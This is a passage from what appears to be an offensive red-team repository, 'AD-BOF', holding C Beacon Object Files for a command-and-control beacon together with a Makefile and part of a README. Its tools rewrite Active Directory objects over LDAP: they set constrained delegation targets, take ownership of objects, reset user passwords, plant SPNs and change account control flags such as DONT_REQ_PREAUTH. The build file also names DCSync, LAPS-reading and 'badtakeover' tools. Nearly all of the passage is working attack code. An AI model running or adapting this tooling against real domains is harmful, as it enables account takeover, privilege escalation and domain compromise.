InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_REPLACE;\n    spn_mod.mod_type = \"msDS-AllowedToDelegateTo\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully set delegation SPN (replaced all existing)\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set delegation\");\n        PrintLdapError(\"Set delegation\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-owner.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_target_dn, owner_identifier, is_owner_dn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* ownerIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isOwnerDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!ownerIdentifier || MSVCRT$strlen(ownerIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Owner identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN || !isOwnerDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve owner DN and get SID\n    char* ownerDN = NULL;\n    PSID ownerSid = NULL;\n    \n    if (isOwnerDN) {\n        size_t len = MSVCRT$strlen(ownerIdentifier) + 1;\n        ownerDN = (char*)MSVCRT$malloc(len);\n        if (ownerDN) {\n            MSVCRT$strcpy(ownerDN, ownerIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        ownerDN = FindObjectDN(ld, ownerIdentifier, searchBase);\n        if (!ownerDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Owner '%s' not found\", ownerIdentifier);\n            MSVCRT$free(targetDN);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Owner DN: %s\", ownerDN);\n    }\n\n    // Get the SID of the new owner\n    ownerSid = GetObjectSid(ld, ownerDN);\n    if (!ownerSid) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve owner SID\");\n        MSVCRT$free(targetDN);\n        if (ownerDN) MSVCRT$free(ownerDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Convert SID to string for display\n    char* ownerSidStr = SidToString(ownerSid);\n    if (ownerSidStr) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Owner SID: %s\", ownerSidStr);\n        MSVCRT$free(ownerSidStr);\n    }\n\n    // Read current security descriptor\n    BERVAL* sdBerval = ReadSecurityDescriptor(ld, targetDN);\n    if (!sdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read security descriptor\");\n        MSVCRT$free(ownerSid);\n        MSVCRT$free(targetDN);\n        if (ownerDN) MSVCRT$free(ownerDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Convert to absolute format for modification\n    PSECURITY_DESCRIPTOR pSD = ConvertBervalToSecurityDescriptor(sdBerval);\n    if (!pSD) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to absolute format\");\n        MSVCRT$free(sdBerval->bv_val);\n        MSVCRT$free(sdBerval);\n        MSVCRT$free(ownerSid);\n        MSVCRT$free(targetDN);\n        if (ownerDN) MSVCRT$free(ownerDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Free the original BERVAL as we now have an absolute SD\n    MSVCRT$free(sdBerval->bv_val);\n    MSVCRT$free(sdBerval);\n\n    // Set the new owner\n    if (!ADVAPI32$SetSecurityDescriptorOwner(pSD, ownerSid, FALSE)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set security descriptor owner\");\n        MSVCRT$free(pSD);\n        MSVCRT$free(ownerSid);\n        MSVCRT$free(targetDN);\n        if (ownerDN) MSVCRT$free(ownerDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Convert back to self-relative format for writing\n    BERVAL* newSdBerval = ConvertSecurityDescriptorToBerval(pSD);\n    if (!newSdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to self-relative format\");\n        MSVCRT$free(pSD);\n        MSVCRT$free(ownerSid);\n        MSVCRT$free(targetDN);\n        if (ownerDN) MSVCRT$free(ownerDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Write the modified security descriptor back\n    BOOL success = WriteSecurityDescriptor(ld, targetDN, newSdBerval);\n\n    if (success) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully set owner\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] New owner: %s\", ownerDN ? ownerDN : ownerIdentifier);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to write security descriptor\");\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Note: WriteOwner permission or administrative rights required\");\n    }\n\n    // Cleanup\n    MSVCRT$free(newSdBerval->bv_val);\n    MSVCRT$free(newSdBerval);\n    MSVCRT$free(pSD);\n    MSVCRT$free(ownerSid);\n    MSVCRT$free(targetDN);\n    if (ownerDN) MSVCRT$free(ownerDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-password.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: user_identifier, is_user_dn, old_password, new_password, \n    // search_ou, dc_address, use_ldaps\n    char* userIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isUserDN = BeaconDataInt(&parser);\n    char* newPassword = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* oldPassword = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!userIdentifier || MSVCRT$strlen(userIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] User identifier is required\");\n        return;\n    }\n    \n    if (!newPassword || MSVCRT$strlen(newPassword) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] New password is required\");\n        return;\n    }\n    \n    BOOL hasOldPassword = (oldPassword && MSVCRT$strlen(oldPassword) > 0);\n    BOOL isAdminReset = !hasOldPassword;\n    \n    // Force LDAPS for admin reset OR if explicitly requested\n    BOOL requireLdaps = isAdminReset || useLdaps;\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context - will build from hostname if possible\n    char* userDN = NULL;\n    char* defaultNC = NULL;\n    if (!isUserDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve user DN\n    if (isUserDN) {\n        // User identifier is already a DN\n        size_t len = MSVCRT$strlen(userIdentifier) + 1;\n        userDN = (char*)MSVCRT$malloc(len);\n        if (userDN) {\n            MSVCRT$strcpy(userDN, userIdentifier);\n        }\n    } else {\n        // Search for user by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        userDN = FindObjectDN(ld, userIdentifier, searchBase);\n        \n        if (!userDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve user DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] User '%s' not found\", userIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Encode passwords\n    BERVAL* oldPasswordBerval = NULL;\n    BERVAL* newPasswordBerval = NULL;\n    \n    if (!isAdminReset) {\n        oldPasswordBerval = EncodePassword(oldPassword);\n        if (!oldPasswordBerval) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to encode old password\");\n            if (defaultNC) MSVCRT$free(defaultNC);\n            MSVCRT$free(userDN);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    newPasswordBerval = EncodePassword(newPassword);\n    if (!newPasswordBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to encode new password\");\n        if (oldPasswordBerval) {\n            MSVCRT$free(oldPasswordBerval->bv_val);\n            MSVCRT$free(oldPasswordBerval);\n        }\n        if (defaultNC) MSVCRT$free(defaultNC);\n        MSVCRT$free(userDN);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Prepare LDAP modification\n    ULONG result;\n    \n    if (isAdminReset) {\n        // Administrative reset: use LDAP_MOD_REPLACE\n        BERVAL* password_bervals[] = { newPasswordBerval, NULL };\n        LDAPModA password_mod;\n        password_mod.mod_op = LDAP_MOD_REPLACE | LDAP_MOD_BVALUES;\n        password_mod.mod_type = \"unicodePwd\";\n        password_mod.mod_vals.modv_bvals = password_bervals;\n        \n        LDAPModA* mods[] = { &password_mod, NULL };\n        \n        result = WLDAP32$ldap_modify_s(ld, userDN, mods);\n    } else {\n        // User password change: delete old, add new\n        BERVAL* old_password_bervals[] = { oldPasswordBerval, NULL };\n        LDAPModA old_password_mod;\n        old_password_mod.mod_op = LDAP_MOD_DELETE | LDAP_MOD_BVALUES;\n        old_password_mod.mod_type = \"unicodePwd\";\n        old_password_mod.mod_vals.modv_bvals = old_password_bervals;\n        \n        BERVAL* new_password_bervals[] = { newPasswordBerval, NULL };\n        LDAPModA new_password_mod;\n        new_password_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES;\n        new_password_mod.mod_type = \"unicodePwd\";\n        new_password_mod.mod_vals.modv_bvals = new_password_bervals;\n        \n        LDAPModA* mods[] = { &old_password_mod, &new_password_mod, NULL };\n        \n        result = WLDAP32$ldap_modify_s(ld, userDN, mods);\n    }\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Password operation successful\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] User DN: %s\", userDN);\n        if (isAdminReset) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Password reset by administrator\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Password changed by user\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Password operation failed\");\n        PrintLdapError(\"Password modification\", result);\n        \n        // Provide helpful hints\n        if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            if (isAdminReset) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions - admin rights required for password reset\");\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions or incorrect old password\");\n            }\n        } else if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] User object does not exist\");\n        } else if (result == LDAP_CONSTRAINT_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] New password does not meet domain password policy requirements\");\n        } else if (result == LDAP_INVALID_CREDENTIALS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid old password\");\n        }\n    }\n    \n    // Cleanup\n    if (oldPasswordBerval) {\n        MSVCRT$free(oldPasswordBerval->bv_val);\n        MSVCRT$free(oldPasswordBerval);\n    }\n    if (newPasswordBerval) {\n        MSVCRT$free(newPasswordBerval->bv_val);\n        MSVCRT$free(newPasswordBerval);\n    }\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (userDN) MSVCRT$free(userDN);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-spn.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, spn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_REPLACE;\n    spn_mod.mod_type = \"servicePrincipalName\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully set SPN (replaced all existing)\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set SPN\");\n        PrintLdapError(\"Set SPN\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/set/set-uac.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\n\ntypedef struct {\n    const char* name;\n    DWORD value;\n} UAC_FLAG_MAP;\n\nstatic const UAC_FLAG_MAP uacFlags[] = {\n    {\"SCRIPT\", UF_SCRIPT},\n    {\"ACCOUNTDISABLE\", UF_ACCOUNTDISABLE},\n    {\"HOMEDIR_REQUIRED\", UF_HOMEDIR_REQUIRED},\n    {\"LOCKOUT\", UF_LOCKOUT},\n    {\"PASSWD_NOTREQD\", UF_PASSWD_NOTREQD},\n    {\"PASSWD_CANT_CHANGE\", UF_PASSWD_CANT_CHANGE},\n    {\"ENCRYPTED_TEXT_PWD_ALLOWED\", UF_ENCRYPTED_TEXT_PWD_ALLOWED},\n    {\"TEMP_DUPLICATE_ACCOUNT\", UF_TEMP_DUPLICATE_ACCOUNT},\n    {\"NORMAL_ACCOUNT\", UF_NORMAL_ACCOUNT},\n    {\"INTERDOMAIN_TRUST_ACCOUNT\", UF_INTERDOMAIN_TRUST_ACCOUNT},\n    {\"WORKSTATION_TRUST_ACCOUNT\", UF_WORKSTATION_TRUST_ACCOUNT},\n    {\"SERVER_TRUST_ACCOUNT\", UF_SERVER_TRUST_ACCOUNT},\n    {\"DONT_EXPIRE_PASSWD\", UF_DONT_EXPIRE_PASSWD},\n    {\"MNS_LOGON_ACCOUNT\", UF_MNS_LOGON_ACCOUNT},\n    {\"SMARTCARD_REQUIRED\", UF_SMARTCARD_REQUIRED},\n    {\"TRUSTED_FOR_DELEGATION\", UF_TRUSTED_FOR_DELEGATION},\n    {\"NOT_DELEGATED\", UF_NOT_DELEGATED},\n    {\"USE_DES_KEY_ONLY\", UF_USE_DES_KEY_ONLY},\n    {\"DONT_REQ_PREAUTH\", UF_DONT_REQ_PREAUTH},\n    {\"PASSWORD_EXPIRED\", UF_PASSWORD_EXPIRED},\n    {\"TRUSTED_TO_AUTH_FOR_DELEGATION\", UF_TRUSTED_TO_AUTH_FOR_DELEGATION},\n    {\"NO_AUTH_DATA_REQUIRED\", UF_NO_AUTH_DATA_REQUIRED},\n    {\"PARTIAL_SECRETS_ACCOUNT\", UF_PARTIAL_SECRETS_ACCOUNT},\n    {NULL, 0}\n};\n\nDWORD ParseUACFlags(const char* flagString) {\n    if (!flagString || MSVCRT$strlen(flagString) == 0) return 0;\n    DWORD result = 0;\n    char buffer[512];\n    MSVCRT$_snprintf(buffer, sizeof(buffer), \"%s\", flagString);\n\n    char* token = buffer;\n    char* next = buffer;\n\n    while (*next) {\n        while (*next && *next != ',') next++;\n        char savedChar = *next;\n        *next = '\\0';\n\n        while (*token == ' ' || *token == '\\t') token++;\n        char* end = token + MSVCRT$strlen(token) - 1;\n        while (end > token && (*end == ' ' || *end == '\\t')) {\n            *end = '\\0';\n            end--;\n        }\n\n        if (MSVCRT$strlen(token) > 0) {\n            for (int i = 0; uacFlags[i].name != NULL; i++) {\n                if (MSVCRT$strcmp(token, uacFlags[i].name) == 0) {\n                    result |= uacFlags[i].value;\n                    break;\n                }\n            }\n        }\n\n        if (savedChar) {\n            *next = savedChar;\n            next++;\n            token = next;\n        } else {\n            break;\n        }\n    }\n    return result;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, flags, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* flagsValue = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!flagsValue || MSVCRT$strlen(flagsValue) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Flags are required (e.g., NORMAL_ACCOUNT,DONT_EXPIRE_PASSWD)\");\n        return;\n    }\n\n    DWORD newUAC = ParseUACFlags(flagsValue);\n    if (newUAC == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No valid flags parsed\");\n        return;\n    }\n\n    // Safety check: ensure account type flag is present\n    if ((newUAC & UF_ACCOUNT_TYPE_MASK) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] WARNING: No account type flag specified!\");\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Include NORMAL_ACCOUNT, WORKSTATION_TRUST_ACCOUNT, or SERVER_TRUST_ACCOUNT\");\n        return;\n    }\n\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) MSVCRT$strcpy(targetDN, targetIdentifier);\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    char uacString[32];\n    MSVCRT$_snprintf(uacString, sizeof(uacString), \"%lu\", newUAC);\n\n    char* uac_values[] = { uacString, NULL };\n    LDAPModA uac_mod;\n    uac_mod.mod_op = LDAP_MOD_REPLACE;\n    uac_mod.mod_type = \"userAccountControl\";\n    uac_mod.mod_vals.modv_strvals = uac_values;\n\n    LDAPModA* mods[] = { &uac_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully set UAC to 0x%08X\", newUAC);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set UAC\");\n        PrintLdapError(\"Set UAC\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/Makefile",
    "content": "\nCC64 = x86_64-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -Os -masm=intel -DBOF -c\n\nall: bof\n\nbof: clean\n\t# 64-bit builds\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t@($(CC64) $(CFLAGS) ldapsearch/ldapsearch.c -o _bin/ldapsearch.x64.o && $(STRIP64) _bin/ldapsearch.x64.o) && echo '[+] ldapsearch' || echo '[!] ldapsearch'\n\t@($(CC64) $(CFLAGS) adwssearch/adws_search.c -o _bin/adws_search.x64.o && $(STRIP64) _bin/adws_search.x64.o) && echo '[+] adws_search' || echo '[!] adws_search'\n\t@($(CC64) $(CFLAGS) readlaps/readlaps.c -o _bin/readlaps.x64.o && $(STRIP64) _bin/readlaps.x64.o) && echo '[+] readlaps' || echo '[!] readlaps'\n\t@($(CC64) $(CFLAGS) WebDAVClient/EnableWebDAVClient.c -o _bin/webdav_enable.x64.o && $(STRIP64) _bin/webdav_enable.x64.o) && echo '[+] webdav_enable' || echo '[!] webdav_enable'\n\t@($(CC64) $(CFLAGS) WebDAVClient/StatusWebDAVClient.c -o _bin/webdav_status.x64.o && $(STRIP64) _bin/webdav_status.x64.o) && echo '[+] webdav_status' || echo '[!] webdav_status'\n\t@ # x86: -DWOW64 -fno-leading-underscore\n\t@($(CC64) $(CFLAGS) -fno-asynchronous-unwind-tables -nostdlib -fno-ident -fpack-struct=8 -falign-functions=1 -s -ffunction-sections -falign-jumps=1 -w -Wall -shared -Wl,--no-seh -Wl,--enable-stdcall-fixup badtakeover/BadTakeover.c -o _bin/badtakeover.x64.o -DBOF && $(STRIP64) _bin/badtakeover.x64.o) && echo '[+] badtakeover' || echo '[!] badtakeover'\n\n\n\t@$(MAKE) --no-print-directory -C DCSync-BOF\n\t@mv DCSync-BOF/_bin/* _bin/\n\n\t@$(MAKE) --no-print-directory -C RelayInformer\n\t@$(MAKE) --no-print-directory -C ADCS-BOF\n\t@$(MAKE) --no-print-directory -C Kerbeus-BOF\n\t@$(MAKE) --no-print-directory -C SQL-BOF\n\t@$(MAKE) --no-print-directory -C LDAP-BOF\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "AD-BOF/README.md",
    "content": "# AD-BOF\n\nA BOFs that contains common enumeration and attack methods for Windows Active Directory.\n\n![](_img/01.png)\n\n![](_img/02.png)\n\n![](_img/03.png)\n\n![](_img/04.png)\n\n![](_img/05.png)\n\n\n## adwssearch\n\nA Beacon Object File (BOF) for Active Directory enumeration through Active Directory Web Services (ADWS) compatible with BOFHound.\n- Query AD objects using LDAP filters via ADWS protocol (TCP 9389)\n- Automatic DC discovery or specify target DC\n- Custom base DN support for querying Configuration, Schema, or other partitions\n- Retrieve specific attributes or all attributes\n- Automatic pagination for large result sets\n- Support for all AD object types (users, computers, groups, PKI objects, trustedDomain, etc.)\n\n```\nadwssearch <query> [-a attributes] [--dc dc] [--dn dn]\n\n# Get specific attributes for all users\nadwssearch \"(objectclass=user)\" -a samaccountname,distinguishedname,memberof --dc dc01.domain.local\n\n# Query ADCS Certificate Templates in Configuration partition\nadwssearch \"(objectClass=pKICertificateTemplate)\" -a cn,displayname --dc dc01.domain.local --dn \"CN=Configuration,DC=domain,DC=local\"\n```\n\n\n\n## badtakeover\n\nBeacon Object File (BOF) for Using the BadSuccessor Technique for Account Takeover\n\n```\nbadtakeover <target_ou> 